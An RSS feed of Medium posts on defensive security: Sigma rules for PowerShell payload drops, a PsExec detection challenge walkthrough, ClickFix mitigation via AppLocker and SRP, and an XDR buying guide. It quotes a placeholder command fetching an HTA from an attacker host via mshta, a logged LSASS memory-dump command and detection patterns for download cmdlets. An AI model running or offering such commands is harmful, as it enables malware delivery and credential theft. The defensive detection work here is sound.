<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ahmed Nosir on Medium]]></title>
        <description><![CDATA[Stories by Ahmed Nosir on Medium]]></description>
        <link>https://medium.com/@egycondor?source=rss-da55cd3d202------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*_vhWOCwLWpPNZ2S82PrWcQ.jpeg</url>
            <title>Stories by Ahmed Nosir on Medium</title>
            <link>https://medium.com/@egycondor?source=rss-da55cd3d202------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 10:36:34 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@egycondor/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hunting Obfuscated PowerShell Attacks with SigmaHunter: EXE Drops in Temp Folder]]></title>
            <link>https://medium.com/@egycondor/hunting-obfuscated-powershell-attacks-with-sigmahunter-exe-drops-in-temp-folder-150572552ffe?source=rss-da55cd3d202------2</link>
            <guid isPermaLink="false">https://medium.com/p/150572552ffe</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[sigma-rules]]></category>
            <category><![CDATA[siem]]></category>
            <dc:creator><![CDATA[Ahmed Nosir]]></dc:creator>
            <pubDate>Fri, 13 Jun 2025 09:22:27 GMT</pubDate>
            <atom:updated>2025-06-13T09:22:27.041Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2iKhdhebLjNshBTM" /></figure><blockquote><em>“The art of threat hunting isn’t about being right the first time — it’s about asking the right questions and refining your hunting as you go.”</em></blockquote><h3>The Hypothesis</h3><p>We began with a common threat scenario:</p><blockquote>A threat actor uses PowerShell to download a malicious .exe file into the system’s Temp directory.</blockquote><p>This hypothesis aligns with real-world post-exploitation behavior observed in phishing payloads, LOLBIN abuse, and automated frameworks such as Cobalt Strike, Empire, and CrackMapExec.</p><h3>MITRE Techniques:</h3><ul><li>T1059.001 – PowerShell</li><li>T1105 – Ingress Tool Transfer</li></ul><h4>Assumptions</h4><h4><strong>PowerShell is available and permitted</strong> in the environment.</h4><ol><li>The attacker <strong>uses native commands</strong> like Invoke-WebRequest, Invoke-Expression, or .DownloadFile() from .NET WebClient.</li><li>The file will be saved to a <strong>temporary path</strong>, commonly %TEMP%, C:\Users\&lt;user&gt;\AppData\Local\Temp, etc.</li><li>The downloaded file will likely have a <strong>.exe extension</strong>, or will later be renamed and executed.</li></ol><h4>Hunting Strategy</h4><p>We aim to detect:</p><ul><li>PowerShell command line execution,</li><li>That <strong>downloads remote content</strong> (via URL),</li><li>And <strong>saves it to a path containing </strong><strong>\Temp\</strong> and with a .exe extension.</li></ul><h3>Stage 1 — Building a Sigma Rule from Hypothesis</h3><h3>❌ Result: No Detections</h3><p>Tested this rule in <a href="https://sigmahunter.online/">SigmaHunter.online</a>. The result?</p><blockquote><em>No matches.</em></blockquote><pre>title: Powershell Downloading EXE to Temp Folder<br>id: e7fa4a82-b6b1-4dc3-8232-233bb6b57d01<br>status: experimental<br>description: Detects use of PowerShell downloading an executable (.exe) file into a Temp folder using WebClient or Invoke-WebRequest.<br>author: egycondor<br>date: 2025/06/13<br>logsource:<br>  product: windows<br>  category: process_creation<br>  service: sysmon # Or use security depending on data source<br>detection:<br>  selection_image:<br>    Image|endswith:<br>      - &#39;\powershell.exe&#39;<br>      - &#39;\pwsh.exe&#39;<br>  selection_commandline_keywords:<br>    CommandLine|contains:<br>      - &#39;Invoke-WebRequest&#39;<br>      - &#39;Invoke-RestMethod&#39;<br>      - &#39;System.Net.WebClient&#39;<br>      - &#39;DownloadFile&#39;<br>  selection_commandline_temp_exe:<br>    CommandLine|contains:<br>      - &#39;\AppData\Local\Temp\&#39;<br>      - &#39;\Temp\&#39;<br>      - &#39;.exe&#39;<br>  condition: selection_image and selection_commandline_keywords and selection_commandline_temp_exe<br>falsepositives:<br>  - Admin scripts<br>  - Software updates using PowerShell<br>level: high<br>tags:<br>  - attack.execution<br>  - attack.command_and_scripting_interpreter<br>  - attack.t1059.001<br>  - attack.t1105</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tXvSKn48auysLBAQm5BlDg.png" /></figure><h3>Why?</h3><ul><li>The <strong>above rule</strong> was <strong>too restrictive</strong> by requiring both:<br>- PowerShell command to contain specific download-related keywords (e.g., Invoke-WebRequest)<br>- And destination path indicators (e.g., .exe in Temp)</li><li>Real-world samples (like from CrackMapExec payload or LSASS dump via PowerShell) may:<br>- Obfuscate or encode download commands<br>- Use <strong>alternative methods</strong> like rundll32 to write dump files to \Temp\ with .dmp or .exe extensions<br>- Skip explicit download-related keywords</li></ul><h3>Adjusted Assumptions</h3><ol><li><strong>Obfuscation is common</strong>, so exact keywords like DownloadFile may not appear.</li><li><strong>Target path (Temp folder + </strong><strong>.exe) is still a strong indicator</strong>, especially for suspicious file drops.</li><li><strong>Removing keyword filters</strong> still gives valuable results if the command drops executable-like files in suspicious paths.</li></ol><p>I rewrote the rule to drop keyword dependencies and focus on <strong>Temp path + PowerShell</strong>, regardless of extension.</p><pre>title: Powershell Dropping File to Temp Folder<br>id: e7fa4a82-b6b1-4dc3-8232-233bb6b57d01<br>status: experimental<br>description: Detects PowerShell writing an executable (.exe) to a temporary directory, which can indicate payload staging or post-exploitation.<br>author: egycondor<br>date: 2025/06/13<br>logsource:<br>  product: windows<br>  category: process_creation<br>detection:<br>  selection_powershell:<br>    Image|endswith:<br>      - &#39;\powershell.exe&#39;<br>      - &#39;\pwsh.exe&#39;<br>  selection_temp_exe:<br>    CommandLine|contains:<br>      - &#39;\AppData\Local\Temp\&#39;<br>      - &#39;\Temp\&#39;<br>      - &#39;.exe&#39;<br>  condition: selection_powershell and selection_temp_exe<br>falsepositives:<br>  - Admin scripts copying binaries temporarily<br>  - Legitimate update mechanisms<br>level: high<br>tags:<br>  - attack.execution<br>  - attack.command_and_scripting_interpreter<br>  - attack.t1059.001<br>  - attack.t1105</pre><p>🟩 <strong>Result:</strong> Two strong matches across samples:</p><ul><li>CrackMapExec payload staging</li><li>PowerShell dropping LSASS dump into \Temp\ as .dmp file</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2oPfpSeYPvZFG-LaZTYCDg.png" /></figure><h3>How It Was Detected Even with Obfuscation</h3><p>The command in the logs uses classic PowerShell obfuscation techniques:</p><pre>-Join(&#39;91A78H101@116f46G83@101S114H118...&#39;) | % { ([int]$_ -as [char]) }</pre><p>This hides:</p><ul><li><strong>Function names</strong> (Invoke-WebRequest, DownloadFile, etc.)</li><li><strong>URLs</strong></li><li><strong>Payload names</strong></li></ul><h3>So how did the Sigma rule detect it?</h3><p>Because you <strong>didn’t rely on detecting the function name</strong> (Invoke-WebRequest), and instead matched on:</p><ul><li>The <strong>PowerShell process itself</strong>:</li><li>Image|endswith: - &#39;\powershell.exe&#39; - &#39;\pwsh.exe&#39;</li><li>The <strong>CommandLine containing </strong><strong>Temp and </strong><strong>.exe</strong>:</li><li>CommandLine|contains: - &#39;\Temp\&#39; - &#39;.exe&#39;</li></ul><p>Even though the code is obfuscated using techniques like -join and .split(), once PowerShell executes the command, Sysmon records the fully resolved CommandLine, including file paths and arguments.</p><h3>Example Breakdown</h3><p>Look at this decoded portion (from the actual log):</p><pre>powershell.exe -NoP -C &quot;C:\Windows\System32\rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\76nivOxA.dmp full&quot;Even though Invoke-WebRequest and the URL were constructed using -join and .split, the final executed string includes the full path:</pre><p>That’s what your rule picked up.</p><h3>Why SigmaHunter.online Was Essential</h3><p>SigmaHunter made the iteration process seamless:</p><ul><li>Write and edit Sigma rules in-browser</li><li>See live detections with rich context</li><li>Visualize results with JSON &amp; event summaries</li></ul><h3>Final Thought</h3><p>Threat detection is not just about tools — it’s about asking the right <strong>behavioral questions</strong>, validating your assumptions, and continuously refining your understanding of attacker tradecraft.</p><p>With platforms like <strong>SigmaHunter.online</strong>, that process becomes faster, smarter, and collaborative.</p><p><strong>Try it now:</strong><br> ➡️ <a href="https://sigmahunter.online/">https://sigmahunter.online</a></p><p>Got a hypothesis of your own? See what you discover.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=150572552ffe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SigmaHunter Challenge #1 — Detecting PsExec Service Installation via SMB]]></title>
            <link>https://medium.com/@egycondor/sigmahunter-challenge-1-detecting-psexec-service-installation-via-smb-8195e584abc1?source=rss-da55cd3d202------2</link>
            <guid isPermaLink="false">https://medium.com/p/8195e584abc1</guid>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[sigma-rules]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-detection]]></category>
            <dc:creator><![CDATA[Ahmed Nosir]]></dc:creator>
            <pubDate>Thu, 12 Jun 2025 20:31:28 GMT</pubDate>
            <atom:updated>2025-06-12T20:31:28.297Z</atom:updated>
            <content:encoded><![CDATA[<h3>SigmaHunter Challenge #1 — Detecting PsExec Service Installation via SMB</h3><p>Welcome to the first challenge walkthrough on <a href="https://sigmahunter.online/">SigmaHunter.online</a> — a platform designed to help you sharpen your <strong>detection engineering</strong> and <strong>threat hunting</strong> skills using <strong>Sigma rules</strong>.</p><p>In this blog post, we’ll solve the <strong>“Service Installation Via SMB PsExec”</strong> challenge worth <strong>50 points</strong>, by analyzing a suspicious event using Sigma logic, interpreting system logs, and identifying the compromised host.</p><h3>🧩 The Challenge</h3><blockquote><strong><em>Task:</em></strong><em><br> During your hunt, you notice that a suspicious service named </em><em>PSEXESVC was installed on one of the machines.<br> </em><strong><em>Question:</em></strong><em> What is the name of the computer where this occurred?<br> </em><strong><em>Flag format:</em></strong><em> </em><em>xxxxxx.xxxxxx.xxx</em></blockquote><h3>📖 Background: What Is PsExec?</h3><p><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec"><strong>PsExec</strong></a> is a legitimate Microsoft Sysinternals tool often used by administrators to execute processes on remote systems. However, it’s frequently abused by attackers for <strong>lateral movement</strong> and <strong>remote service execution</strong>. When used over SMB, it installs a temporary service named PSEXESVC.</p><p>Detecting this behavior is critical to identifying unauthorized remote access across the network.</p><h3>🛡️ Detection Rule: Sigma Logic</h3><p>Here’s the Sigma rule used for this challenge:</p><pre>title: Service Installation Via SMB PsExec<br>id: 1a17ce75-ff0d-4f02-9709-2b7bb5618cf0<br>description: Detects usage of SMB PsExec<br>author: AN<br>date: 2024/02/25<br>logsource:<br>  product: windows<br>  service: system<br>detection:<br>  selection:<br>    EventID: 7045<br>    ServiceName: &#39;PSEXESVC&#39;<br>  condition: selection<br>falsepositives:<br>  - Legitimate use of psexec commands<br>tags:<br>  - attack.lateral_movement</pre><p>This rule triggers on:</p><ul><li><strong>Event ID 7045</strong> — Windows logs this when a service is installed.</li><li><strong>ServiceName = PSEXESVC</strong> — the signature service name created by PsExec during execution.</li></ul><h3>🖥️ Hunting with SigmaHunter.online</h3><p>Let’s walk through how this surfaced and solved using <strong>SigmaHunter</strong>.</p><h3>🔎 Step 1: Analyzing the SigmaHunter Interface</h3><p>When you open <a href="https://sigmahunter.online/"><strong>SigmaHunter.online</strong></a>, you’re welcomed by a streamlined threat hunting workspace tailored for <strong>detection engineering using Sigma rules</strong>.</p><p>The interface includes:</p><ul><li><strong>Sigma Rule Editor</strong>: A built-in code editor where you can write, modify, or load Sigma rules directly into the hunting engine.</li><li><strong>Raw Log Viewer</strong>: Displays unprocessed EVTX logs in their original format for manual inspection.</li><li><strong>JSON Explorer Panel</strong>: A structured, interactive log view that helps you filter, navigate, and understand log fields like EventID, Computer, and ServiceName with ease.</li><li><strong>Detection Output</strong>: As you run your Sigma rule, matching log entries are displayed with full event context, making it easier to investigate suspicious activity.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u_4pJzlxNNZb3HZw21TPfw.png" /></figure><h3>Step 2: Interpreting the Detection</h3><p>From the SigmaHunter results, we see the following key metadata:</p><pre>&quot;EventID&quot;: 7045,<br>&quot;ServiceName&quot;: &quot;PSEXESVC&quot;,<br>&quot;ImagePath&quot;: &quot;%SystemRoot%\\PSEXESVC.exe&quot;,<br>&quot;Computer&quot;: &quot;jump01.offsec.lan&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IB-Lg1YH2fHtSQYYEnLnsA.png" /></figure><p>This clearly shows that the PSEXESVC service was installed on the system:</p><ul><li><strong>Computer Name</strong>: jump01.offsec.lan</li><li><strong>User</strong>: LocalSystem</li><li><strong>Start Type</strong>: Demand Start (i.e., manually started, often an indicator of remote execution)</li></ul><h3>🏁 The Answer</h3><p>Based on the log evidence, the computer where PsExec was used is:</p><blockquote><strong><em>🟢 Flag:</em></strong><em> </em><em>jump01.offsec.lan</em></blockquote><p>This matches the required format (xxxxxx.xxxxxx.xxx) and solves the challenge!</p><h3>✅ Takeaways</h3><ul><li><strong>Event ID 7045</strong> is your go-to for detecting service installation — a common technique for persistence and lateral movement.</li><li><strong>PSEXESVC</strong> is a strong indicator of PsExec activity.</li><li>Always pivot on <strong>Computer Name</strong>, <strong>User</strong>, and <strong>Service Type</strong> to determine context and scope of compromise.</li></ul><h3>💬 Try It Yourself!</h3><p>You can explore this detection and many more on <a href="https://sigmahunter.online/"><strong>SigmaHunter.online</strong></a>.<br> Load logs, test Sigma rules, and level up your hunting game.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8195e584abc1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mitigating ClickFix Attacks with Group Policy Enforcement (Part 2)]]></title>
            <link>https://medium.com/@egycondor/mitigating-clickfix-attacks-with-group-policy-enforcement-part-2-609feba8cd33?source=rss-da55cd3d202------2</link>
            <guid isPermaLink="false">https://medium.com/p/609feba8cd33</guid>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[social-engineering]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Ahmed Nosir]]></dc:creator>
            <pubDate>Fri, 28 Mar 2025 00:27:02 GMT</pubDate>
            <atom:updated>2025-03-28T00:27:02.093Z</atom:updated>
            <content:encoded><![CDATA[<p>In the first part of this series, we discussed the ClickFix attack, which relies on social engineering to trick users into executing malicious commands via trusted Windows tools like mshta.exe. We explored how blocking mshta.exe via Group Policy Objects (GPO) can mitigate this threat. Now, let’s walk through how to implement the mitigation using <strong>AppLocker</strong> and <strong>Software Restriction Policies (SRP)</strong> simultaneously and test the results with a simulated attack.</p><h3>Blocking mshta.exe with GPO Using AppLocker and SRP</h3><p>The most effective way to defend against ClickFix attacks is to prevent malicious tools, like <strong>mshta.exe</strong>, from executing on your systems. We’ll be using <strong>AppLocker</strong> and <strong>Software Restriction Policies (SRP)</strong> together to ensure that mshta.exe is blocked.</p><h4>Step 1: Enable AppLocker in GPO</h4><p>To start, you’ll need to enable AppLocker in your Group Policy:</p><ol><li>Open <strong>Group Policy Management Editor</strong>.</li><li>Navigate to <strong>Computer Configuration → Policies → Windows Settings → Security Settings → Application Control Policies → AppLocker → Executable Rules</strong>.</li><li>If AppLocker hasn’t been configured yet, you need to set the default rules and start the <strong>Application Identity service</strong> (AppIDSvc), which is required for AppLocker to enforce rules. You can do this by creating a GPO that automatically starts the service or configuring it via a script.</li><li>Once AppLocker is active, you can proceed to create your rule.</li></ol><h4>Step 2: Create AppLocker Rule to Block mshta.exe</h4><ol><li>Right-click on <strong>Executable Rules</strong> and choose <strong>Create New Rule</strong>.</li><li>Select <strong>Deny</strong> for the action to block execution.</li><li>Choose <strong>User or Group</strong> and select <strong>Everyone</strong> or any group of users you want to restrict from running mshta.exe (for example, non-admin users).</li><li>Under <strong>Conditions</strong>, select <strong>Path</strong> and browse to the path of mshta.exe:</li></ol><ul><li><strong>C:\Windows\System32\mshta.exe</strong></li><li><strong>C:\Windows\SysWOW64\mshta.exe</strong><br> This ensures that both the 64-bit and 32-bit versions of mshta.exe are blocked.</li></ul><p>Name the rule (e.g., “Block mshta execution — ClickFix mitigation”).</p><p>Finish the wizard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6VozFcnmi8QScxXKVRiDpA.png" /></figure><h4>Step 3: Enforce AppLocker Policy</h4><p>Once the rule is created, make sure the GPO is linked to the appropriate <strong>Organizational Unit (OU)</strong> containing the target user PCs. Run <strong>gpupdate /force</strong> to apply the policy on those machines. To test enforcement, try running mshta.exe on a test machine using the <strong>Run dialog</strong> or <strong>Command Prompt</strong> — it should be blocked, and AppLocker will log an event with <strong>Event ID 8004</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/426/1*7KpZssPL-gCf2zDCq7AEtQ.png" /></figure><h4>Step 4: Enable Software Restriction Policies (SRP)</h4><p>Next, we’ll also enable <strong>Software Restriction Policies (SRP)</strong> to further strengthen the defense. Here’s how:</p><ol><li>In <strong>Group Policy Management Editor</strong>, go to <strong>Computer Configuration → Windows Settings → Security Settings → Software Restriction Policies</strong>.</li><li>If no SRP is configured, create a new one.</li><li>Under <strong>Additional Rules</strong>, create a <strong>New Path Rule</strong> for the following:</li></ol><ul><li><strong>C:\Windows\System32\mshta.exe</strong> with <strong>Security Level = Disallowed</strong>.</li><li><strong>C:\Windows\SysWOW64\mshta.exe</strong> with <strong>Security Level = Disallowed</strong>.</li></ul><p>This will block mshta.exe from running using SRP, providing another layer of protection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xH771r1RvrgZxo7Q0H0Gdw.png" /></figure><h3>Testing the Mitigation with a Simulated Attack</h3><p>Now that both <strong>AppLocker</strong> and <strong>SRP</strong> are set up to block mshta.exe, let’s simulate a ClickFix attack to test if the mitigation works effectively.</p><h4>Step 1: Set Up the Malicious Script</h4><p>On your Kali Linux machine, create a simple malicious HTA file that mimics the ClickFix attack. The script would look like this:</p><p>The file hosted on Kali Linux could be a basic HTA or JavaScript file that, when executed, downloads and runs malware on the target machine.</p><h4>Step 2: Simulate a Phishing Attack</h4><ol><li>Send a phishing email or link to the victim, instructing them to press <strong>Win + R</strong> and paste the following command:</li><li>When the user follows these instructions and presses <strong>Enter</strong>, the attack should be blocked due to the enforcement of both AppLocker and SRP policies.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N9Jm1QAgJdVIhgPnJy8QWg.png" /></figure><h4>How the Mitigation Works</h4><p>When the user executes the malicious command, instead of running the mshta.exe tool and downloading malware, they will see an error or experience nothing happening. The <strong>AppLocker</strong> rule will block the execution of mshta.exe, while the <strong>SRP</strong> will deny it based on the path rule. Both mechanisms will stop the malicious script from running.</p><p>This scenario illustrates how the combination of <strong>AppLocker</strong> and <strong>SRP</strong> effectively mitigates the ClickFix attack, preventing malware from executing even if the user unknowingly triggers it.</p><h3>Why Combining AppLocker and SRP Works</h3><p>Using both <strong>AppLocker</strong> and <strong>Software Restriction Policies</strong> provides a robust defense against ClickFix attacks and other social engineering payloads. AppLocker is more granular and provides a more modern, centralized solution for application control, while SRP offers a broader security measure that catches potentially harmful files even if they are renamed or moved.</p><p>By enabling both, you add an extra layer of security, reducing the chances of malware executing even if one of the policies is bypassed. Since mshta.exe is rarely needed by legitimate applications, blocking it is a low-risk, high-reward security measure.</p><h3>Conclusion</h3><p>By implementing <strong>AppLocker</strong> and <strong>Software Restriction Policies</strong> to block <strong>mshta.exe</strong>, you can mitigate ClickFix attacks that rely on social engineering to trick users into executing malicious commands. The combination of these two policies creates a defense-in-depth strategy that significantly reduces the risk of exploitation.</p><p>Test the implementation in your environment to verify that both policies are working as expected. As an additional measure, consider blocking other Living-off-the-Land Binaries (LOLBins) like <strong>powershell.exe</strong>, <strong>wscript.exe</strong>, and <strong>cscript.exe</strong> if your users have no legitimate use for them.</p><p>In the next part of this series, we’ll discuss how to monitor and log Run dialog activity to detect these types of attacks before they can cause harm.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=609feba8cd33" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mitigating ClickFix Attacks with Group Policy Enforcement (Part 1)]]></title>
            <link>https://medium.com/@egycondor/mitigating-clickfix-attacks-with-group-policy-enforcement-part-1-52e964b2986b?source=rss-da55cd3d202------2</link>
            <guid isPermaLink="false">https://medium.com/p/52e964b2986b</guid>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[social-engineering]]></category>
            <category><![CDATA[defense-in-depth]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <dc:creator><![CDATA[Ahmed Nosir]]></dc:creator>
            <pubDate>Thu, 27 Mar 2025 00:14:19 GMT</pubDate>
            <atom:updated>2025-03-27T00:14:19.840Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Hardening Windows Environments Against Social Engineering Payloads</em></p><p>In recent threat campaigns, attackers have been exploiting a particularly deceptive social engineering method known as <strong>ClickFix</strong>. These attacks rely on tricking users into pasting and executing malicious commands under the guise of “fixing” a problem — bypassing traditional security measures by turning users themselves into the execution vector.</p><p>This post kicks off a short series focused on using <strong>Group Policy Objects (GPOs)</strong> to proactively defend Windows environments against ClickFix-style attacks. We’ll explore how attackers exploit trusted system tools and user behavior, and then walk through GPO-based mitigations that organizations can roll out centrally through Active Directory.</p><h3>🚨 What is a ClickFix Attack?</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*9xOzbvgveQOCqfGTsgFQLg.png" /></figure><p>ClickFix is a social engineering tactic where users are manipulated into copying and executing code that launches malware. It often begins with a fake browser error, CAPTCHA prompt, or “Fix it” message on a compromised site or within a phishing email. The attack typically unfolds like this:</p><p><strong>Fake Prompt</strong><br>The user is shown a deceptive message — “Your browser is out of date” or “Something went wrong… click Fix It.” It may appear in a webpage or a malicious HTML email attachment.</p><p><strong>Win + R Trigger</strong><br>The instructions direct the user to press Win + R to open the <strong>Run</strong> dialog, which can execute arbitrary commands. Many users aren’t aware of how powerful this tool really is.</p><p><strong>Paste Malicious Code</strong><br>The attacker silently pre-loads a payload into the clipboard (using JavaScript or embedded HTML). The user is told to press Ctrl + V to paste it—typically a one-liner command like:</p><pre>mshta.exe http://&lt;attacker-site&gt;/fix.hta</pre><p>or a PowerShell command that downloads malware from the web.</p><p><strong>Execute Command</strong><br>Finally, the user presses Enter — unwittingly launching the malware via mshta.exe, powershell.exe, or another trusted system binary. The payload then fetches and executes a malicious script, often without triggering antivirus alerts.</p><p>Since the user performs each action manually, traditional endpoint protection tools may not recognize this as malicious behavior — making it difficult to detect and stop.</p><h3>🎯 Why Group Policy is the Defender’s Ally</h3><p>ClickFix attacks rely on abusing:</p><ul><li><strong>The Run dialog</strong></li><li><strong>The clipboard</strong></li><li><strong>Trusted Windows binaries like </strong><strong>mshta.exe and </strong><strong>powershell.exe</strong></li></ul><p>Fortunately, GPO offers centralized control to restrict or monitor these behaviors across all domain-joined systems. This approach doesn’t require third-party tools — it’s built into Windows and can provide defense-in-depth across multiple layers.</p><h3>📌 What’s Next?</h3><p>In the next part of this series, we’ll walk through <strong>real-world GPO configurations</strong> that you can apply right away — complete with screenshots, example policies, and best practices for balancing usability and security.</p><p>We’ll also cover how to:</p><ul><li>Create GPOs that block execution of mshta.exe and powershell.exe from user directories.</li><li>Monitor and log Run dialog activity via Event Viewer and audit policies.</li></ul><p>Stay tuned.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=52e964b2986b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Choosing the Right XDR Solution]]></title>
            <link>https://systemweakness.com/choosing-the-right-xdr-solution-7f50b30f732b?source=rss-da55cd3d202------2</link>
            <guid isPermaLink="false">https://medium.com/p/7f50b30f732b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[xdr]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <dc:creator><![CDATA[Ahmed Nosir]]></dc:creator>
            <pubDate>Wed, 26 Mar 2025 21:16:32 GMT</pubDate>
            <atom:updated>2025-04-02T14:01:55.522Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pQDkNtk0fRFQjkT4" /></figure><p>Organizations need unified visibility, real-time response, and intelligent analytics to defend against increasingly sophisticated cyberattacks. Enter <strong>Extended Detection and Response (XDR)</strong> — a new category of security solutions designed to bring all threat data under one roof and empower security teams with centralized detection, investigation, and response capabilities.</p><p>But with the growing number of XDR providers and overlapping features, the question arises: <strong>How do you choose the right XDR platform for your business?</strong> Let’s break it down and explore the core features that should be non-negotiable when evaluating any XDR solution.</p><h3>🔍 1. True Multi-Layered Visibility</h3><p>The best XDR platforms go far beyond just endpoints. They ingest telemetry across:</p><ul><li><strong>Endpoints:</strong> Behavioral detection, memory analysis, application allowlisting, and forensic capabilities.</li><li><strong>Network:</strong> Layer 2–7 traffic analysis, encrypted traffic analytics (ETA), detection of covert channels, and packet/object extraction.</li><li><strong>Email:</strong> Built-in phishing/BEC protection with behavioral analysis and sandbox execution of attachments and URLs.</li><li><strong>Cloud &amp; External Assets:</strong> Attack surface management to detect shadow IT, misconfigurations, or exposed assets before they’re exploited.</li></ul><p><strong>Pro tip:</strong> Look for a solution that correlates telemetry from all these sources into one unified view without requiring separate add-ons or third-party plugins.</p><h3>🤖 2. AI/ML-Driven Detection and Alert Prioritization</h3><p>Modern XDR is not just about collecting data — it’s about making sense of it. Artificial Intelligence (AI) and Machine Learning (ML) help identify patterns, detect anomalies, and prioritize alerts that matter.</p><ul><li><strong>ML classifiers</strong> flag unknown threats by detecting abnormal behaviors.</li><li><strong>AI-driven sandboxes</strong> identify fileless or memory-based attacks that evade traditional detection.</li><li><strong>Smart alerting engines</strong> automatically filter noise, correlate related events, and highlight true positives.</li></ul><p><strong>Look for:</strong> An XDR that learns from your environment over time and dynamically adapts to reduce false positives.</p><h3>⚡ 3. Automation and Real-Time Response</h3><p>The gap between detection and response is where the damage often happens. An effective XDR platform doesn’t just alert you — it acts.</p><ul><li>Automatically <strong>isolate compromised endpoints</strong></li><li><strong>Purge malicious emails</strong> across all mailboxes</li><li>Trigger <strong>forensic data collection</strong> instantly</li><li>Launch <strong>custom playbooks</strong> with minimal analyst intervention</li></ul><p>Automation should be customizable and augment human decision-making, not replace it. The best systems offer “analyst-in-the-loop” controls while handling routine steps behind the scenes.</p><h3>🧠 4. Embedded Threat Intelligence</h3><p>Threat intelligence is what separates a reactive defense from a proactive one. Your XDR should have access to real-time data from:</p><ul><li>Malware samples and known threat actor infrastructure</li><li>Underground forums and phishing kits</li><li>Emerging vulnerabilities and exploit trends</li></ul><p>More importantly, that intelligence should be <strong>operationalized</strong> — meaning it feeds directly into your detection rules, alert context, and even automated playbooks.</p><h3>🛡️ 5. Built-In Sandbox Capabilities</h3><p>Sandboxing shouldn’t be a bolt-on. A powerful XDR should include an <strong>integrated malware detonation engine</strong> capable of analyzing hundreds of file types, URLs, and scripts in virtualized environments.</p><ul><li>Look for <strong>anti-evasion techniques</strong> that detect sandbox-aware malware</li><li>Bonus if the platform supports <strong>retrospective scanning</strong>, allowing it to re-analyze past files when new intel emerges</li></ul><p>This is especially vital for detecting advanced threats like polymorphic malware or fileless attacks.</p><h3>✉️ 6. Email Security Integration</h3><p>Email is still the most common initial attack vector. Whether phishing, malware-laced attachments, or business email compromise (BEC), your XDR must include or integrate robust email protection.</p><ul><li>Behavioral analysis of message content</li><li>Sandbox execution of attachments and embedded links</li><li>Real-time response actions like blocking or retroactive deletion</li></ul><p><strong>Watch for:</strong> Native email scanning engines that don’t just rely on third-party integrations.</p><h3>🌐 7. External Attack Surface Management</h3><p>One standout capability to seek in XDR is <strong>Attack Surface Management (ASM)</strong>. This module gives you the hacker’s perspective by scanning your internet-facing assets, detecting:</p><ul><li>Forgotten or misconfigured systems</li><li>Exposed ports, cloud storage, or vulnerable services</li><li>Domains or subdomains impersonating your brand</li></ul><p>ASM extends your visibility beyond your perimeter and helps proactively close security gaps.</p><h3>🔗 8. Seamless Integration and Deployment Flexibility</h3><p>An XDR solution should enhance your existing stack, not force you to rip and replace it. Prioritize:</p><ul><li><strong>API-based integrations</strong> with SIEMs, SOAR platforms, firewalls, EDRs, and cloud services</li><li>Support for <strong>on-prem, hybrid, or cloud-native</strong> deployments</li><li><strong>Role-based access controls</strong> and customizable dashboards</li></ul><p>You want a platform that adapts to your infrastructure — not the other way around.</p><h3>👩‍💻 9. Augmentation by Experts</h3><p>Not every business has a fully staffed SOC. The most effective XDR platforms combine technology with a <strong>managed service component</strong>:</p><ul><li>24/7 threat monitoring by experts</li><li>First-tier incident response support</li><li>Access to DFIR specialists for complex cases</li></ul><p>This model allows your internal team to focus on what matters most while trusted professionals handle the heavy 